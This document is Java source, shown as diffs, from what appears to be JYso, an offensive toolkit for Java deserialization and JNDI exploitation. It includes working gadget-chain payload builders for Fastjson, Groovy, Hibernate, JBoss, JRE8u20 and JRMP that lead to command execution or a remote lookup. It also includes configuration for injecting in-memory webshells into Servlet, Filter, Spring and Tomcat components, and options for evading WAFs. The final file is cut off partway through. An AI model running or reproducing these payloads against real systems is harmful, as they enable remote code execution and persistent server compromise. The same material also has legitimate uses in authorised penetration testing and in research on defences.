public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false;
// 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// 是否使用UTF-8 Overlong Encoding Bypass waf
// jboss
public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false;
// DefineClassFromParameter 的路径
public static String PARAMETER = "dc";
// 将输入直接写在文件里
public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
// 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader
public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false;
// ScriptEngineManager 是否为 RHINO 引擎
public static boolean USING_RHINO = false;
public static ClassPool POOL = ClassPool.getDefault();
// 不同类型内存马的父类/接口与其关键参数的映射
public static HashMap<String, String> KEY_METHOD_MAP = new HashMap<>();
@Parameter(names = {"-he", " --help"}, help = true, description = "Show this help")
private static boolean help = false;
static {
// Servlet 型内存马,关键方法 service
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
// Filter 型内存马,关键方法 doFilter
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
// Listener 型内存马,通常使用 ServletRequestListener 关键方法 requestInitializedHandle
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
// Websocket 型内存马,关键方法 onMessage
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
// Tomcat Upgrade 型内存马,关键方法 accept
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
// Tomcat Executor 型内存马,关键方法 execute
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
// Spring Interceptor 型内存马,关键方法 preHandle
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
// Webflux 内存马
KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
}
public static void applyCmdArgs(String[] args) {
System.out.println(" ██╗███╗ ██╗██████╗ ██╗\n" +
" ██║████╗ ██║██╔══██╗██║\n" +
" ██║██╔██╗ ██║██║ ██║██║\n" +
"██ ██║██║╚██╗██║██║ ██║██║\n" +
"╚█████╔╝██║ ╚████║██████╔╝██║\n" +
" ╚════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝\n" +
" ");
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
try {
jc.parse(args);
} catch (Exception e) {
System.out.println("Error: " + e.getMessage() + "\n");
help = true;
}
if (showGadgets) {
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
System.out.println(" " + line);
}
System.exit(0);
}
if (showVersion) {
System.out.println("" +
" /█████ /██ /██ \n" +
" |__ ██| ██ /██/ \n" +
" | ██ \\ ██ /██//███████ /██████ \n" +
" | ██ \\ ████//██_____/ /██__ ██\n" +
" /██ | ██ \\ ██/| ██████ | ██ \\ ██\n" +
"| ██ | ██ | ██ \\____ ██| ██ | ██\n" +
"| ██████/ | ██ /███████/| ██████/\n" +
" \\______/ |__/ |_______/ \\______/");
System.exit(0);
}
//获取当前 Jar 的名称
String jarPath = Starter.class.getProtectionDomain().getCodeSource().getLocation().getPath();
jc.setProgramName("java -jar JYso.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if (help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
// 特别注意:最后一个反斜杠不能少啊
Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/";
}
public static void init() {
// Servlet 型内存马,关键方法 service
KEY_METHOD_MAP.put("javax.servlet.Servlet", "service");
// Filter 型内存马,关键方法 doFilter
KEY_METHOD_MAP.put("javax.servlet.Filter", "doFilter");
// Listener 型内存马,通常使用 ServletRequestListener 关键方法 requestInitializedHandle
KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle");
// Websocket 型内存马,关键方法 onMessage
KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage");
// Tomcat Upgrade 型内存马,关键方法 accept
KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept");
// Tomcat Executor 型内存马,关键方法 execute
KEY_METHOD_MAP.put("org.apache.tomcat.util.threads.ThreadPoolExecutor", "execute");
// Spring Interceptor 型内存马,关键方法 preHandle
KEY_METHOD_MAP.put("org.springframework.web.servlet.handler.HandlerInterceptorAdapter", "preHandle");
}
}
@@ -0,0 +1,22 @@
package com.qi4l.jndi.gadgets.Config;
import java.util.ArrayList;
public class HookPointConfig {
public static ArrayList<String> BasicServletHook = new ArrayList<String>();
public static ArrayList<String> TomcatFilterChainHook = new ArrayList<String>();
static {
BasicServletHook.add("javax.servlet.http.HttpServlet");
BasicServletHook.add("service");
BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain");
TomcatFilterChainHook.add("doFilter");
TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
}
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,4 @@
package com.qi4l.jndi.gadgets;
public interface DynamicDependencies {
}
@@ -0,0 +1,41 @@
package com.qi4l.jndi.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Fastjson1 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.jndi.gadgets;
import com.alibaba.fastjson2.JSONArray;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Fastjson2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, val);
return hashMap;
}
}
@@ -0,0 +1,36 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationHandler;
import java.util.Map;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* Comparator.compare() (Proxy)
* ConvertedClosure.invoke()
* MethodClosure.call()
* ...
* Method.invoke()
* Runtime.exec()
* <p>
* Requires:
* groovy
*/
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.FROHOFF})
public class Groovy1 implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
}
@@ -0,0 +1,171 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.hibernate.EntityMode;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
@Authors({Authors.MBECHLER})
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
if (System.getProperty("hibernate5") != null) {
return new String[]{
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
return new String[]{
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
public static Object makeGetter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
if (System.getProperty("hibernate5") != null) {
return makeHibernate5Getter(tplClass, method);
}
return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter(Class<?> tplClass, String method) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if (!method.startsWith("get")) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
static Object makeCaller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
if (System.getProperty("hibernate3") != null) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
static Object makeHibernate3Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
public Object getObject(String command) throws Exception {
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
}
@@ -0,0 +1,53 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl;
/**
* Another application filter bypass
* <p>
* Needs a getter invocation that is provided by hibernate here
* <p>
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
* <p>
* <p>
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* <p>
* Arg:
* - JNDI name (i.e. rmi:<host>)
* <p>
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
* @author mbechler
*/
@Authors({Authors.MBECHLER})
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies() {
return Hibernate1.getDependencies();
}
public Object getObject(String command) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
}
}
@@ -0,0 +1,74 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import java.lang.reflect.Constructor;
import java.util.*;
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER})
public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object tpl;
tpl = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return tpl;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
}
@@ -0,0 +1,107 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.jre.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.jndi.Starter.JYsoMode;
@SuppressWarnings({"unused"})
@Dependencies
@Authors({"frohoff"})
public class JRE8u20 implements ObjectPayload<Object> {
public static Object makeTemplates(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
out.write(bytes, 0, bytes.length - 1);
}
};
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(Integer.valueOf(1));
beanContextSupportData.addData(handler);
beanContextSupportData.addData(Integer.valueOf(0), true);
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj);
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
}
public Object getObject(String command) throws Exception {
Serialization ser = new Serialization();
Object templates = makeTemplates(command);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(Integer.valueOf(10), true);
hashsetData.addData(Float.valueOf(1.0F), true);
hashsetData.addData(Integer.valueOf(2), true);
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
if (JYsoMode) {
ser.write(System.out);
System.exit(0);
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ser.write(out);
byte[] bytes = out.toByteArray();
return bytes;
}
}
@@ -0,0 +1,72 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.utils.ByteUtil;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.Serializer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
public class JRE8u20_2 implements ObjectPayload<Object> {
public static Class newInvocationHandlerClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" +
" }", clazz);
clazz.addMethod(writeObject);
Class c = clazz.toClass();
return c;
}
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass();
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
Reflections.setFieldValue(ih, "type", Templates.class);
Templates proxy = Gadgets.createProxy(ih, Templates.class);
BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b, "serializable", 1);
HashMap tmpMap = new HashMap<>();
tmpMap.put(ih, null);
Reflections.setFieldValue(b, "children", tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b);
set.add(templates);
set.add(proxy);
HashMap hm = new HashMap();
hm.put("f5a5a608", templates);
Reflections.setFieldValue(ih, "memberValues", hm);
byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
return ser;
}
}
@@ -0,0 +1,69 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
/**
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
* <p>
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
* <p>
* Requires:
* - JavaSE
* <p>
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
* <p>
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
@Authors({Authors.MBECHLER})
public class JRMPClient implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
} else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class
}, obj);
return proxy;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@Authors({"mbechler"})
public class JRMPClient_Activator implements ObjectPayload<Activator> {
@Override
public Activator getObject(String command) throws Exception {
String host;
int port, sep = command.indexOf(':');
